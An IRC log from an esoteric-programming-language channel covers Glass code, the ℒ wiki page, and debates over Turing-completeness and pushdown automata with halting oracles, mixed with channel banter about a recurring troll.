01:38:22 <Gregor> Faaaaairly certain that Glass is the /only/ OO stack language ...
01:50:15 <kallisti> oh wait Parrot is a register machine.
01:50:33 <kallisti> I wouldn't be surprised if "stack based OO language" described a lot of virtual machine languages.
01:51:06 <kallisti> you should make Glass the VM for Plof. :>
01:51:20 <kallisti> with some... slight modifications
01:51:22 <Gregor> Yeaaaaaaaaaaaaaaaahno.
01:53:39 <kallisti> how does one go about translating a high level language to a stack language.
01:54:10 <kallisti> translating to a register machine seems a bit more natural to me, due to the similarity to machine code.
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02:26:46 <oerjan> !glass {M[m(_v)V!(_v)n.?(_o)O!(_o)o.?]}
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03:04:42 <tswett> Oh butt, I've forgotten how beautiful Glass is.
03:04:58 <tswett> (Yes, this is my new expletive. I butt to use it at least once in every message.)
03:05:59 <tswett> Okay, you're defining a new class called M, with one function, called m, which does... that.
03:06:55 <tswett> Global variables are like THIS, class- or object-local variables like this, and stack variables like _this...
03:08:17 <tswett> So we push the name _v, then push the name V, then... okay, (_v)V! pretty much means "create a V named _v".
03:09:22 <tswett> Then (_v)n.? calls its n function, creating a new name and pushing it onto the stack...
03:09:51 <tswett> Then we create an O called o_ and call its o function to output the name of the variable.
03:13:49 <tswett> Okay, there is one feature that Glass MUST HAVE.
03:14:15 <tswett> A class that you can use to push the current continuation onto the stack.
03:15:34 <tswett> So, uh... next time I write a Glass implementation, it's going to have that.
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03:16:23 <tswett> Y'know. I just might implement Glass in Lua. The implementation will work by compiling the Glass program into Lua code and evaluating it.
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03:17:49 <Gregor> There, rewrote http://esolangs.org/wiki/%E2%84%92
03:22:11 <tswett> Its name is... the letter L in a math-calligraphic style?
03:22:32 <tswett> How come ℒ is in Unicode but a plain old italic L isn't?
03:23:17 <Gregor> Fancy L is just ... Fancy L.
03:26:50 <Gregor> I also set up a redirect from the page "Fancy L" (and "Fancy-L") so I wouldn't have to figure out how to type it.
03:27:17 <tswett> Have you set up a redirect from the page "SCRIPT CAPITAL L"?
03:27:47 <Gregor> Nobody calls it that, it's Fancy L :)
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03:33:41 <tswett> And a redirect from the page "$\mathcal{L}$"?
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03:52:13 <itidus21> ahh NOW i get why it's called fancy L
03:52:39 <itidus21> thats absurdly literal interpretation of fancy L
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05:46:53 <itidus21> the real purpose is that i thought to myself.. what is the number 1 reason i don't do much reading
05:47:07 <itidus21> and i thought, honestly there is very little empty desk space in my room
05:48:17 <itidus21> i have these weird projects going in my room like collecting local newspapers
05:50:18 <itidus21> i had my pc up on a desk for easy access to the back but it seemed not worth it in long run.. space better used as an actual desk
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08:21:59 <ais523_> wow, this RNG actually uses string processing
08:26:10 <fizzie> Maybe it has been written by a TCL guy? Everything's a string, and all that.
08:28:03 <fizzie> Also is it a PRNG instead of a RNG? (This message sponsored by the "Exactness in Expression 2012" campaign.)
08:32:34 <itidus21> No, this RNG makes numbers exist.. it doesn't select them as such.
08:33:14 <pikhq_> fizzie: Tclers don't generally do that *outside* of Tcl.
08:33:30 <pikhq_> Because holy *crap* it's hard to do Tclish tricks with strings outside of Tcl. :)
08:34:19 <itidus21> i mean where do you think the integers came from?
08:34:34 <fizzie> Perhaps a "hard-core Tcler", then. I'm sure there are some. Tattooed all over with Tcl code and so on.
08:36:04 <itidus21> so hardcore they illegally change their name to some tcl code
08:37:16 <ais523_> olsner: it's a middle-square RNG, working in decimal
08:37:24 <ais523_> and it's in one of NVidia's CUDA examples
08:38:06 <olsner> not only string processing ... but on a GPU?
08:38:16 <ais523_> it's in the CPU portion of the code
08:38:37 <ais523_> CUDA doesn't have a string type, or any type vaguely corresponding to it
08:38:52 <ais523_> about the closest you could get would be int[N] for some constant N
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09:01:55 <ais523_> also, how am I meant to search for the fields in a data type called cData?
09:02:11 <ais523_> I keep getting results for CDATA instead
09:02:35 <fizzie> Apparently Finland's (ex- or soon-to-be-ex-)presiden't husband looking as if he'd be staring at the bosom of Denmark's crown princess qualifies as "international news"; the headlines here (there's a stand at the lunch-place) have now dutifully reported that UK's The Sun and some "Jay Leno" dude have now laughed at him.
09:07:02 <Ngevd> Meh, the Sun report anything.
09:08:05 <ais523_> Have I Got News For You were laughing at it too
09:15:34 <Ngevd> I've made a different Thue Truth-machine
09:15:48 <Ngevd> It's one character shorter, but can use more memory
09:17:34 <Ngevd> Strictly speaking, it may never output 1 at all
09:19:01 <Ngevd> Actually, I prefer the one that I didn't write
09:19:15 <ais523_> why does OpenGL use char* for ptrdiff_t?
09:19:16 <Ngevd> Also, DMM hasn't replied to my email
09:19:23 <ais523_> that's bizarre, it should just use ptrdiff_t
09:19:33 <ais523_> or an equivalent, like int
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09:42:00 <Ngevd> Added his version of the Whenever Truth-machine
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10:06:26 <Sgeo> Ngevd, kallisti has been updated.
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11:24:22 <ais523> security update in CVS? what?
11:24:32 <ais523> I'd assume that'd be stable by now…
11:34:24 <ais523> it's installed here, which is reasonable, as I guess it's a dependency of something, and I might even have had to download CVS repos on occasoin
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12:03:15 <Gregor> ais523: Can you delete "Facny L" for me kthx >_>
12:04:04 <Gregor> Also, do we need a category for "fancy-L-equivalent"? To categorize e.g. Befunge/index.php and HQ9+B
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12:25:15 <fizzie> Newsflash: Russia wins the race to Singularity. (Source: Usenet.)
12:26:50 <fizzie> "This usage of a default BeVerb in Russian AI is a new technique in the year 2012 of the Mayan Calendar and may not only constitute unpatentable _prior art_ in AI but may also contribute to a Technological Singularity if Russia repeats her spectacular success of first place in the sweepstakes of exploring the Dark Side of the Moon. It will be "GAME OVER", if the creative minds of Russia create the expanded Mind of Dushka."
12:29:21 <fizzie> (For the full story, see http://sprunge.us/ZHNX)
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12:51:44 <ais523> also, I would be working on this OpenGL program I have to get done tomorrow, except that OpenGL has inexplicably stopped working in the computer labs
12:51:44 <ais523> or at least, I assume it's responsible, the sample programs I ran to check work if and only if they don't use it
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13:40:57 <ais523> hmm… I once invented a custom version of base64 that used ' and " as the non-alphanumeric characters
13:41:19 <ais523> because they had the same wrapping properties as letters and digits, meaning that they filled text boxes neatly
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14:05:07 <fizzie> There are quite a few of variants that only differ w.r.t. the two odd ones.
14:06:52 <fizzie> RFC 4648 has the "URL and Filename Safe" version with -_ instead of +/.
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15:03:07 <Gregor> Another fun corner of computational classes would be a language that's equivalent to a push-down automata except for the addition of a halting oracle for Turing machines. Assuming it's not Turing complete (it's unclear whether you could properly use the halting oracle to wend your way through the state with only a PDA), it would have the fun property of being unimplementable but less powerful than a Turing machine :)
15:03:11 <Gregor> Surely somebody's already done that though?
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15:23:52 <Gregor> <Gregor> Another fun corner of computational classes would be a language that's equivalent to a push-down automata except for the addition of a halting oracle for Turing machines. Assuming it's not Turing complete (it's unclear whether you could properly use the halting oracle to wend your way through the state with only a PDA), it would have the fun property of being unimplementable but less powerful than a Turing machine :)
15:23:52 <Gregor> <Gregor> Surely somebody's already done that though?
15:26:28 <Gregor> (Copypasta'd for ais523's input)
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15:55:42 <ais523> Gregor: hmm, PDA-with-halting-oracle seems less interesting than PDA-with-Turing-oracle
15:55:48 <ais523> although I'm not entirely sure what a Turing oracle would do
15:57:08 <Gregor> I think that for any reasonable definition of "Turing oracle", a halting oracle would be equivalent.
15:57:30 <ais523> no, I mean an oracle that does something that Turing machines can do but PDAs can't
15:57:31 <Gregor> Since you can always inject a "if (state I care about) halt else loop infinitely"
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15:57:37 <ais523> like, an a^nb^nc^n oracle
15:58:20 <Gregor> Naw, then that's just one squiggle outside of PDA. That seems much less interesting to me.
15:59:02 <Gregor> You've got to leapfrog a computational class for it to be interesting to me apparently >_> <_<
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16:53:59 <Gregor> Upon further consideration, what I actually like about my idea is the consideration of whether that would be TC.
16:54:20 <Gregor> Aaaaaand ais is gone again ...
16:58:25 <Taneb> Right, so, if we had Turing-complete language a (say, Lazy K), and push-down automata b (say, Befunge-93) we can create language Γ_(a,b), which is b with the addition of command "£", which takes a string and returns whether it halts when ran as an a program
16:59:20 <Taneb> Is Γ(a,b) Turing complete?
17:00:15 <Gregor> Also, isn't Befunge-93 not even a PDA since it has the fancy L problem even for that? Not all PDAs can be translated into PDAs of a certain fixed size ...
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17:01:08 <Gregor> Any language with fixed dimensions could be at best the fancy L equivalent of some interesting computational class.
17:01:48 <Gregor> Less-than-N-bytes-of-C is fancy-L(Turing machine), and Befunge-93-in-original-dimensional-limits is fancy-L(PDA)
17:01:53 <Taneb> Γ here is short for Γρηγωρ
17:02:25 <Taneb> Which is a transliteration of "Gregor"
17:02:48 <Gregor> (I shouldn't have used 'C' in the above example, let's say less-than-N-bytes-of-Perl, since Perl is so popular to golf)
17:03:08 <Taneb> Which is presumably your name.
17:03:23 -!- Gregor has changed nick to Friendship.
17:05:24 <Friendship> I had a dream in which Weird Al Yankovic, having secretly been publishing theoretical computing research for years under a pseudonym, was receiving the Turing award, and his speech consisted of a video of a cartoon version of him doing strange things then transforming intermittently into a cartoon rabbit with horn-rimmed glasses describing actual (computer) science.
17:05:54 <Taneb> Mister mouse, you have weird dreams
17:06:53 -!- Phantom_Hoover has joined.
17:16:08 -!- Friendship has set topic: Nicolaas Govert de Bruijn 1918-2012 | Dennis Ritchie 1941-2011 | John McCarthy 1927-2011 | John Backus 1924-2007 | Kristen Nygaard 1926-2002 | Edsger Dijkstra 1930-2002 | John Cocke 1925-2002 | Ole-Johan Dahl 1931-2002 | Alonzo Church 1903-1995 | Alan Perlis 1922-1990 | http://codu.org/logs/_esoteric/ | http://esolangs.org/wiki/ has moved servers!.
17:19:16 <Friendship> I never noticed that 2002 was a friggin' terrible year for CS.
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17:23:15 <Friendship> Oh great, so now that graue has given wiki management to elliott, he'll start being a regular on the channel and elliott'll never show up again.
17:36:06 <ais523> admittedly, elliott had left some time before then
17:36:16 <ais523> and only came back to coordinate the wiki move
17:36:26 <ais523> (which has somehow made the channel much more on-topic than it used to be)
17:36:40 <Taneb> As well as the wiki
17:36:56 <ais523> the wiki's always been on-topic, unless you count spambots
17:37:00 <ais523> but it's got a lot more legitimately active
17:38:23 <Friendship> Befunge-93 claims to be a PDA. I dispute this due to its size limitations. I say it's fancy-L(PDA), whatever that means.
17:41:05 <Taneb> It has an unbounded stack
17:44:35 <Friendship> So? You can't represent an arbitrary number of states in bounded program space.
17:46:20 <Taneb> It doesn't need an arbitrary number of states, you just need a number
17:47:05 <Taneb> According to our wiki, it's just a FSA with a stack
17:47:23 <Friendship> But it has to be able to represent /all/ PDA's to be equivalent.
17:48:19 <Friendship> Oh, I misstated myself and misremembered the wiki >_<
17:48:22 <Friendship> "However, the converse is not true; there surely exist some push-down automata which cannot be simulated by any Befunge-93 program (because they contain more states than can be encoded in the 80x25 playfield)."
17:49:32 <Friendship> Oh well, I don't know what I'm talking about, ignore me X-D
17:49:46 <Taneb> Most of the time, you know more than me
17:50:13 <Friendship> I thought that the wiki had claimed that Befunge-93 was PDA-complete, so to speak.
17:50:33 <Taneb> Doesn't it take a Turing machine to be PDA complete?
17:51:09 <Taneb> As in, can interpret any PDA
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17:51:27 <Friendship> I don't think that's what "-complete" means, it means that all PDA's can be described by it.
17:51:42 <Friendship> "can interpret" is just a cheap hack to get that, which itself works for TC most of the time.
17:51:46 <Taneb> A PDA can't describe a bigger PDA
17:51:58 <Friendship> Not "a given PDA", just the language "PDA"
17:52:07 <Friendship> The language of PDAs can describe all PDAs.
17:56:21 <Friendship> (I find this similar to how fancy-L languages can describe a particular Turing machine, but not all)
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18:11:46 <ais523> wow, this new wiki is getting my reactions all wrong
18:11:56 <ais523> I see a new edit, and instinctively go to delete it, and get confused
18:16:16 <Friendship> By the way, I'm inventing the terms (argh I can't type Unicode in this xchat) "fancy-L-equivalent machine", "fancy-L-hard" and "fancy-L-complete"
18:16:28 <Friendship> I feel like the existence of this page needs more press, in the form of categories.
18:20:19 <Friendship> Given that the computational class of ℒ is unclear, but there are languages which are plainly within its computational class, we can create a new (and intentionally ambiguous) computational class to describe it. ℒ-equivalent machines are those abstract machines for which the ability to describe all universal Turing machines is predicated upon the status of input or some other state which may be considered external to the machine proper. The set of ℒ-equ
18:20:19 <Friendship> ivalent machines is clearly a subset of [[Turing machines]], but whether it is a proper subset is a matter of philosophy. A language is said to be ℒ-hard if there exists a program in that language which is in ℒ, and ℒ-complete if it is ℒ-hard and not [[Turing-complete]].
18:20:49 <Friendship> Oh, never mind, it pasted right, my client is just weird X_X
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18:27:04 <elliott> @tell Gregor "ℒ was originally described to generalize the question raised by Befunge/index.php." not quite true
18:28:51 <Friendship> Oh, it's not indeed, he just brought it to the wiki for that.
18:29:41 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.8264
18:30:11 <elliott> he didn't call it that originally
18:30:16 <Friendship> Hm, first reference to that name is somebody quoting cpressey as saying he'd --- ah X_X
18:30:32 <elliott> also that paste's unicode is broken
18:31:45 <elliott> no, your httpd probably isn't sending a proper content-type
18:31:51 <elliott> you need to append ; encoding=UTF-8 :P
18:32:03 <Friendship> But I'd need to convince hgweb to do that.
18:42:00 <elliott> 09:19:15: <ais523_> why does OpenGL use char* for ptrdiff_t?
18:42:08 <elliott> ais523: opengl predates c99, I'm pretty sure
18:42:16 <ais523> elliott: but it's just a pure type error
18:42:23 <ais523> it's using a pointer type where it should be using an integer type
18:42:28 <ais523> if it was using int or long or something I wouldn't mind
18:42:53 <elliott> ais523: those might not fit the result; (char *) will so long as pointers are integral
18:43:19 <elliott> 12:04:04: <Gregor> Also, do we need a category for "fancy-L-equivalent"? To categorize e.g. Befunge/index.php and HQ9+B
18:43:27 <elliott> Friendship: No, there aren't many of them.
18:45:32 <Friendship> I'm at least going to change the text of HQ9+B so it's not blatantly lying :)
18:46:15 <elliott> 15:03:07: <Gregor> Another fun corner of computational classes would be a language that's equivalent to a push-down automata except for the addition of a halting oracle for Turing machines. Assuming it's not Turing complete (it's unclear whether you could properly use the halting oracle to wend your way through the state with only a PDA), it would have the fun property of being unimplementable but less powerful than a Turing machine :)
18:46:33 <elliott> Friendship: Machine with only one instruction: check whether a given Underload program halts, print 0 if it doesn't, 1 ifit does.
18:47:18 <Friendship> But what's interesting about mine is that a PDA might (although I'm flying very quickly towards the conclusion that it is not) be sufficient to actually be TC with the addition of that transition statement.
18:47:43 <elliott> 15:57:37: <ais523> like, an a^nb^nc^n oracle
18:47:43 <elliott> 15:58:20: <Gregor> Naw, then that's just one squiggle outside of PDA. That seems much less interesting to me.
18:47:53 <elliott> in the same way that utm+halting oracle is one squiggle outside of tc
18:48:35 <elliott> Friendship: well a halting oracle for utms lets you decide a bunch of things
18:48:41 <elliott> which may be enough to implement complex loops
18:49:05 <ais523> oh, /obviously/ it's TC
18:49:07 <elliott> e.g. you can turn a statement (exists n \in Z, p(n)) where p is decidable into (Maybe Z)
18:49:12 <elliott> and you can easily wrap something in
18:49:15 <ais523> just take your input, halting-oracle it, and go into an infinite loop if it doesn't halt
18:49:18 <elliott> if (halts) { continue } else { loop forever }
18:49:33 <Friendship> ais523: Can-solve-the-halting-problem does not imply TC ...
18:49:36 <ais523> elliott: heh, we both had the same idea at once
18:49:44 <elliott> ais523: that doesn't help you produce output though or w/e
18:49:48 <ais523> Friendship: halts-if-a-given-TM-halts is the definition of TC
18:50:00 <ais523> you could ask about BF-completeness, though
18:50:15 <elliott> with BF-completeness, you only need to be able to get "first char of output" "second char of output" etc.
18:50:18 <elliott> which is <elliott> e.g. you can turn a statement (exists n \in Z, p(n)) where p is decidable into (Maybe Z)
18:50:23 <Friendship> Right, because you can reduce all questions to halting questions, argh.
18:50:30 <elliott> p(n) = n is first char of output of run_bf_program(prog,"")
18:50:38 <elliott> input is a little harder I guess, but sounds perfectly doable
18:51:12 <elliott> Friendship: Also, it's obviously not Turing-complete.
18:51:17 <elliott> Because it can solve the halting problem.
18:51:30 <Friendship> Well, we're still a bit fuzzy on what TC actually means, bu--- yeah.
18:51:36 <elliott> You can't be uncomputable + TC, as we've agreed on :P
18:51:54 <Friendship> Yeah, we agree, but I don't think the community at large agrees.
18:51:58 <elliott> 17:02:53: <Gregor> Taneb: Naturally.
18:51:58 <elliott> 17:03:08: <Taneb> Which is presumably your name.
18:51:58 <elliott> 17:03:28: <Friendship> Nope, my real name is Friendship.
18:51:58 <elliott> 17:03:29: <Friendship> And I am magic.
18:52:01 <elliott> Friendship: Logs still broken.
18:52:12 <elliott> Also, the "community at large" is a bunch of idiots creating BF derivatives.
18:52:35 * Friendship proceeds to put that quote on the front page, attributing you.
18:53:11 <elliott> My oppressive regime! Crushed!
18:59:12 <elliott> "Are closures a violation of the functional programming paradigm?"
18:59:30 <elliott> " [...] How is Haskell purely-functional if it supports closures? Don't they break referential transparency?"
19:00:01 <kallisti> sounds like someone is confusing implementation with semantics. >_>
19:00:07 <kallisti> WHAT AN UNTHINKABLE THING TO DO.
19:00:30 <elliott> Yes. That would have you believing seq has side-effects.
19:01:38 <kallisti> I'm kind of at a loss as to how that breaks referential transparency
19:01:41 <kallisti> or how you could think it does.
19:03:42 <kallisti> so I'm kind of at a loss to explain anything right now.
19:05:12 <kallisti> maybe they're confusing referential transparency with "can be used to simulate state"
19:06:03 <elliott> Friendship: I wonder whether fancy-L is a [[Category:Languages]] or a [[Category:Concepts]]...
19:06:46 <elliott> Friendship: Also when you gonna make HQ9+B non-lying :P
19:08:35 <Friendship> Odd, when I run the exact same log handler over the exact same logs, it detects the nick changes properly ...
19:09:02 <Friendship> Sooo there's a bug in the current state of the running log handler but I don't know how to repro it >_<
19:10:09 <kallisti> hack the process bits no problem
19:12:13 <Friendship> Regenerating it on the server still missed the nicks, doing the same thing on my local machine worked no problem.
19:12:25 <ais523> it's not running IE8, is it?
19:13:21 -!- monqy has joined.
19:21:01 <monqy> yes i'd imagine so
19:22:20 <kallisti> http://www.bbc.co.uk/news/magazine-16964783
19:39:41 <Friendship> It got its nick lists from the 353 command from the server, but didn't really understand what was going on if multiple 353s came for the same channel (that is, if the channel was bigger than could be fit in a single message)
19:40:03 <Friendship> Apparently it wasn't logging any big channels before X-D
19:41:05 <elliott> Friendship: I'm sure that means #ai's logs have been broken forever :P
19:41:15 <elliott> (That place is really terrible, you should stop logging it :P)
19:42:17 <elliott> 18:14:17: <tomodo> Im so disappointed with my AI
19:42:17 <elliott> 18:24:35: <DanFrederiksen> :)
19:42:17 <elliott> 18:24:36: -!- pleiades has quit (K-Lined).
19:42:17 <elliott> 18:25:53: <tomodo> DanFrederiksen: I'll tell you about it if you want
19:42:17 <elliott> 18:35:03: <DanFrederiksen> that wont be necessary
19:42:17 <elliott> 18:36:23: <tomodo> you're an idiot and a troll
19:42:19 <elliott> 18:36:32: <tomodo> I'm putting you on /ignore from nowon
19:42:44 <elliott> Friendship: On second thoughts, NEVER STOP
19:43:21 <elliott> 18:44:03: <uniqanomaly> tomodo: excellent choice 18:44:36: <tomodo> I don't like smug people 18:44:55: <tomodo> it's just a way to try to appear superior when you have nothing to show for yourself 18:45:31: <DanFrederiksen> you are the troll buddy
19:45:15 <elliott> 19:41:22: <causative> AIXI has unlimited computing power
19:45:16 <elliott> 19:41:35: <causative> it ignores parts of the environment that do not help it predict the future
19:45:16 <elliott> 19:41:56: <thylane> causative You first must by mature in this conversation, and admit qas a mature adult that AIXI is framed in a reinforcement learnign context.
19:45:19 <olsner> meh... (append (quote (1)) (quote (4 5 6))) => (4 5 6)
19:45:34 <elliott> olsner: it's a very small 1
19:45:49 <elliott> 19:44:05: <thylane> causative Just get over this and be a mature adult. You will never ever ever ever have an embodied agent in *this* universe that will pay attention to absolutely everything it sensors can point at. It can't happen. The agent would sit there counting bolts on the side of ship.
19:45:58 -!- glogbackup has left.
19:46:01 <elliott> this is great, <disagreement> -> stop this immaturity already!
19:46:41 <itidus21> <tomodo> i'm not your buddy, guy
19:46:42 <elliott> ok i gotta stop reading #ai logs now...
19:47:28 <fizzie> elliott: ##c: <MaybeJust> tomodo: do you even know what you are saying? or just trolling? <tomodo> MaybeJust: /ignore'd
19:47:48 <monqy> who is this tomodo fellow
19:47:51 <olsner> hmm, maybe I should start that rewrite into Prolog now, and translate it from Prolog after it works
19:48:06 <fizzie> I don't know, but the nick and the "/ignore" so close to each other remindeded.
19:48:07 <elliott> fizzie: Kind of reminds me of someone...
19:48:17 <monqy> im stalkermoding #ai
19:48:25 <elliott> fizzie: I hope it's not the person it reminds me of, though.
19:49:19 <mRoman> Can i set $/ to something that $a = <STDIN>; only reads one character?
19:49:28 <elliott> Oh, they're in #haskell. I guess it might be.
19:49:36 <mRoman> Can I read one character only somehow?
19:49:51 <elliott> mRoman: http://perldoc.perl.org/functions/getc.html?
19:50:10 <kallisti> let me test that I've never actually tried...
19:50:12 <elliott> well i don't know. but they remind me of j-invariant/fax/etc.
19:50:26 <monqy> i don't know any of those :'(
19:50:32 <Friendship> ISTR a classique #esoteric /topic mentioning that the joke language Perl is not on-topic here :)
19:50:41 <elliott> huh, really? I guess they were before your time. (those are the same person)
19:51:06 <kallisti> mRoman: my intuition would lead me to believe that setting $/ to an empty string would make <> work like getc
19:51:36 <kallisti> and if you do set global variables
19:51:55 <kallisti> make sure you make it.. local. :P
19:53:12 <elliott> yay, the first google webmaster tools data came in for esolangs.org!
19:53:25 <kallisti> that will reset $/ to be '' for the duration of the block.
19:54:04 <elliott> http://www.google.co.uk/search?ix=seb&sourceid=chrome&ie=UTF-8&q=remorse
19:54:50 <elliott> http://www.google.co.uk/search?ix=seb&sourceid=chrome&ie=UTF-8&q=turing+complete
19:54:56 <elliott> Friendship: How are we on the first page of results for turing complete.
19:55:08 <elliott> Albeit below "BF is Turing-complete" :P
19:55:37 -!- tikfreenode has changed nick to Tiktalik.
19:56:06 <elliott> Friendship: Ooh, Wikipedia disagrees with us re: TC.
19:56:18 <elliott> Friendship: http://en.wikipedia.org/wiki/Turing_completeness Per its definition, TwoDucks is TC but not TE.
19:56:35 <elliott> A computational system that can compute every Turing-computable function is called Turing complete (or Turing powerful). Alternatively, such a system is one that can simulate a universal Turing machine.
19:56:36 <elliott> A Turing-complete system is called Turing equivalent if every function it can compute is also Turing computable; i.e., it computes precisely the same class of functions as do Turing machines. Alternatively, a Turing-equivalent system is one that can simulate, and be simulated by, a universal Turing machine. (All known Turing-complete systems are Turing equivalent, which adds support to the Church–Turing thesis.)
19:56:55 <elliott> But it echoes the definitions in the article's lead.
19:57:14 <elliott> But that was my impression of what TC/TE meant, too.
19:57:32 <elliott> Friendship: I'm unconvinced that the "complete" derives from complexity theory.
19:57:53 <Friendship> I'm perfectly willing to entertain the notion that it doesn't *shrugs*
19:57:58 <Friendship> But it's the only comparison I know of.
19:58:16 <elliott> People search for "bettereave"? People search for "yoob"?
19:58:39 <Friendship> Don't be such a yoob, of course people search for bettereave.
19:59:19 <elliott> Ah, presumably typos for http://fr.wikipedia.org/wiki/Betterave
19:59:31 <elliott> People search for betterave, rather :P
20:00:03 <elliott> Friendship: I especially like that one of our top search terms is "aaaaaaaaaaaaaa".
20:00:11 <elliott> Do people count out the As to match our article?
20:01:30 <Friendship> Probably they just type a bunch of a's, and we happen to get those subset of A-typers who match.
20:03:46 <Friendship> I suppose the problem with our definition of Turing-complete is that it's sort of unclear what it's implications are with respect to extraneous behavior such as I/O.
20:04:53 <elliott> It's that bloody function-vs.-computation distinction again.
20:05:26 <elliott> Friendship: So how does all this tie in with the 2,3 TM :D
20:06:23 * elliott tends to think it's not TC.
20:06:28 <elliott> Friendship: Oh, infinite isn't that bad.
20:06:32 <elliott> It's infinite and *non-repeating*.
20:06:38 <elliott> (But generatable by a sub-TC machine)
20:07:15 <elliott> Wooow, people have Google +1'd Esolang pages.
20:07:17 <itidus21> so it turns out that toroidal symmetries are incredibly good at reducing numbers of states
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20:14:01 <Friendship> elliott: Yeah, "infinite" wasn't the right term.
20:15:06 <itidus20> hi/ih monqy/onqym/nqymo/qymon/ymonq/yqnom/qnomy/nomyq/omnqy/mnqyo
20:18:26 <kallisti> people who spell out btw are weird.
20:18:41 <kallisti> I think my internal chatspeak algorithm just picks the shortest one to say
20:18:49 <kallisti> so "afk" is "afk" but "wtf" is "what the fuck"
20:19:13 <itidus20> i wonder what these things are like in 3d
20:19:20 -!- oerjan has joined.
20:19:31 <elliott> speaking of agony, hi oerjan
20:19:49 * oerjan hits elliott with the saucepan ===\__/
20:20:21 <Friendship> mRoman: I appreciate your desire to implement the truth machine in IRP, but hope you don't resort to requesting the opposite now ...
20:20:47 <kallisti> and I guess when there's a tie I pick the acronym expansion
20:20:55 <kallisti> I mentally say "oh my god" when I see omg.
20:21:52 <elliott> Friendship: Hoooow is #irp still full of people who aren't in here
20:21:55 <kallisti> "oh my god what the fuck barbecue lol"
20:22:13 <Friendship> elliott: I wasn't even in there for years, then I joined and went "lolwut who are you all"
20:22:56 <oerjan> #irp isn't /list'ed :(
20:23:05 <mRoman> Friendship: I intentionally chose 0 ;)
20:23:25 <kallisti> are we about to exerpeince a mass immigration from #irp?
20:23:49 <oerjan> Friendship: just answer with a line of 1's and claim the irc server cut it off.
20:24:15 <Friendship> "Hey, /I/ sent an infinitely-long packet, the /server/ cut it short."
20:24:32 <Friendship> mRoman: Technically, only the first line is the implementation.
20:25:26 <oerjan> <oerjan> !glass {M[m(_v)V!(_v)n.?(_o)O!(_o)o.?]}
20:25:44 <oerjan> i realized the trick i used in the quine is used too little
20:26:08 <oerjan> !glass {M[m(_v)0V!n.?(_o)0O!o.?]}
20:27:38 <oerjan> elliott: a lot of glass code does (variable)Class!(variable)method.? like stuff
20:27:57 <oerjan> but (variable)0Class!method.? is shorter
20:28:32 <elliott> i think i've given up on writing a truth-machine in ijfijtijtifjitojidftidotgjklsdfg
20:28:35 <Friendship> Variables being first class on the stack is super-bizarre :)
20:29:11 <mRoman> I wonder if it is possible to write a truth-machine in CHIQRSX9+
20:29:23 <oerjan> mRoman: probably not a reliable one
20:29:39 <mRoman> Basically we'd need to find a perl programm which can be rotated to CHIQRS9+
20:29:54 <oerjan> elliott: to your giving up.
20:29:56 <elliott> mRoman: not every valid ascii character is a valid start of a perl program, Q.E.D.
20:30:16 <oerjan> mRoman: what elliott said, but i guess you might be able to do better than 1/256
20:30:23 <mRoman> But if the random number is correct, it would be a truth machine
20:30:40 <elliott> mRoman: then the task is as trivial as writing a perl program :P
20:31:10 <oerjan> mRoman: i once spammed this channel with a CHIQRSX9+ program hundreds of times or so until it ran the perl code correctly.
20:31:22 <oerjan> well i guess other people helped
20:31:48 <elliott> Then you got banned for spamming, right?
20:32:15 <PiRSquared> actually elliott was the one who sent the correct one iirc
20:32:42 <elliott> YOU APPRECIATE MY SPAM WHEN IT HELPS OERJAN, I SEE
20:32:53 <oerjan> elliott: well it was on topic spam, at least
20:33:16 <elliott> Funge-98 Final Specification
20:33:17 <elliott> Chris Pressey, Sept 11, 1998
20:33:17 <elliott> revised for clarity: Sept 30 1998
20:33:55 <oerjan> elliott: i reserve the right to be a hypocrite as long as you're being willfully annoying :P
20:34:25 * elliott is about 43% sure tomodo is who he thinks he is.
20:35:09 <oerjan> Friendship: well are _you_ who you think you are, hm?
20:35:37 <Friendship> I am the abstract notion of friendship, given form and a laptop with wireless internet access.
20:35:49 <elliott> oerjan: if tomodo joins this channel sometime in the next few weeks, I would suggest a ban before things get out of hand again.
20:36:45 <oerjan> elliott: are we speaking of f.., m.......y, c......s...?
20:37:37 <elliott> Friendship: I think once or twice? Dunno >_>
20:37:42 <elliott> oerjan: But yes, f.. and j-i*
20:37:52 <PiRSquared> `pastelogs f..\,? m.......y\,? c......s...
20:37:58 <elliott> <elliott> 18:14:17: <tomodo> Im so disappointed with my AI
20:37:59 <elliott> <elliott> 18:24:35: <DanFrederiksen> :)
20:37:59 <elliott> <elliott> 18:24:36: -!- pleiades has quit (K-Lined).
20:37:59 <elliott> <elliott> 18:25:53: <tomodo> DanFrederiksen: I'll tell you about it if you want
20:37:59 <elliott> <elliott> 18:35:03: <DanFrederiksen> that wont be necessary
20:37:59 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.12261
20:37:59 <elliott> <elliott> 18:36:23: <tomodo> you're an idiot and a troll
20:38:01 <elliott> <elliott> 18:36:32: <tomodo> I'm putting you on /ignore from nowon
20:38:03 <elliott> <elliott> 18:44:03: <uniqanomaly> tomodo: excellent choice 18:44:36: <tomodo> I don't like smug people 18:44:55: <tomodo> it's just a way to try to appear superior when you have nothing to show for yourself 18:45:31: <DanFrederiksen> you are the troll buddy
20:38:12 <elliott> + they joined #haskell and talked about a scheme program they wrote
20:38:25 <elliott> complaining about it in a way which strongly reminds me of fax.
20:38:32 <Friendship> elliott: You realize those AI logs are at a URL, you don't need to paste them in the channel X_X
20:38:48 <elliott> PiRSquared: Yes, but then they wanted to rewrite it in Haskell, or something.
20:38:51 <oerjan> PiRSquared: not so much inside joke as someone who keeps coming back with new nicks, but being easily recognizable, and with some _serious_ self control problems
20:39:30 <oerjan> itidus20: you don't go ballistic on the channel
20:39:57 <itidus20> well you guys don't bait me into offtopics
20:40:22 -!- Infinikiller64 has joined.
20:40:26 <Friendship> itidus20: Your favorite programming language and/or environment and/or operating system and/or pony is terrible and we all hate it/her.
20:40:35 <HackEgo> Infinikiller64: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
20:40:48 <Friendship> I'm so glad I said that immediately after somebody /join'd, with the nick "Friendship" no less X-D
20:41:19 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.14881
20:41:35 <itidus20> like.. suppose one of you posted a url to a site about corrupt olympic officals.. i would inevitably start ranting about it
20:41:42 <Friendship> elliott: Hahaha, I've ruined the channel.
20:41:50 <PiRSquared> is "f.., m.......y, c......s..." finite memory constraints???
20:42:06 <elliott> PiRSquared: fax, misspiggy, i don't remember the c*s* one
